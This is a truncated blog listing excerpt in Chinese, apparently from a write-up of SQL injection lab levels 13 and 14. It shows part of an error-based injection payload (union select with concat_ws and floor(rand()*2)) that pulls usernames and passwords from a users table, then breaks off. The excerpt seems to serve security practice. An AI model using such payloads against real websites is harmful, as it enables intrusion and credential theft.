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摘要: ##13&14 利用报错子查询 uname=0" union select count(*),concat_ws(':',(select concat(username,':',password) from users limit 0,1),floor(rand()*2)) as a from in 阅读全文
posted @ 2022-02-14 20:59 雨下整夜z 阅读(46) 评论(0) 推荐(0) 编辑